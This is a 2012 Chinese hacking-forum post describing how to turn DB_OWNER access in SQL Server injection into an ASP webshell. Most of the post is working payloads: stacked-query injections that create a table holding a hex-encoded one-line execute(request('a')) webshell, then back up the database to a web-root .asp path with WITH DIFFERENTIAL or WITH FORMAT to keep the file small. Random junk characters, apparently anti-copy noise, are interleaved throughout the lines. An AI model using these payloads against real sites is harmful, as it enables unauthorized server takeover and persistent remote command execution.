找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2392|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:/ X' v1 ^+ i7 g+ S6 ]' E
3 w) K8 L1 C' R9 X4 T2 N
减少备份文件大小,得到可执行的webshell成功率提高不少
8 U, h9 v2 y& k一利用差异备份
0 e: a- V' }* l+ b7 [加一个参数WITH DIFFERENTIAL; i0 E5 @; y" b9 w! b
4 o# Q( n4 i) O* ?) A2 d
1  ?- ]1 f; `  F
2
4 S  h% [* ]9 H5 X( O3
6 A2 C& y  S) r5 Z4# |) E; Y. O4 j1 A- a
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s% Z3 D9 |6 K" I3 S
create table [dbo].[xiaolu] ([cmd] [image]);
$ B2 M% |& s& Y( b. n- J$ s: E# Pinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
. _  ~' Z3 Y' Hdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL " N9 r$ C- y) R0 z7 ?' x2 }

( K! P5 N7 M  v# O9 F二利用完全FORMAT( s. H% s# N6 y% `0 [, Y
加一个参数WITH FROMAT' @* `$ f+ @0 ?7 W- V% l6 O
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以5 p' L' c8 ~, B9 C

2 M: p, o1 ^- x1
! _5 v5 @2 [3 f) c9 S3 d8 Q, q2
  G7 @2 |0 H" Z! ?5 j& F/ ^0 e  F3
8 v. q" j* t( |7 H* E! w/ s/ X4# P1 J3 g/ a$ h- K% C
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
; U7 i& Y% u8 ~" Zcreate table [dbo].[xiaolu] ([cmd] [image]);3 r3 G  w: |5 v7 A9 Q7 @
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)6 V4 ^) l4 i5 R: _7 W+ W
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT $ Z  I4 k% V5 z. [7 `) }
7 l( d4 P9 O/ E! p- y" m7 X
总的来说就是那么简单几句,下面以备份数据库model为例子! e# ]" v; V  }6 n  J, ^$ z0 |
14 D5 p# E4 b; \

" {4 J: b! A# [$ ^& g4 D1' M" W% d3 u$ l8 y9 i9 R% c1 u  [6 M
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') , l: S/ \. j- m2 m. w0 e

- x( H0 b8 P, h: _0 ^2& F" ?4 y. K9 F2 C5 H$ r+ u1 V

/ i% ^/ c- g6 W( @" v# ^4 u1$ Y' _: j2 q; F5 f* g
id=1;backup database model to disk='你的路径‘ with differential,format;-- ; S+ D: Z! n* ]8 s. Z8 K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表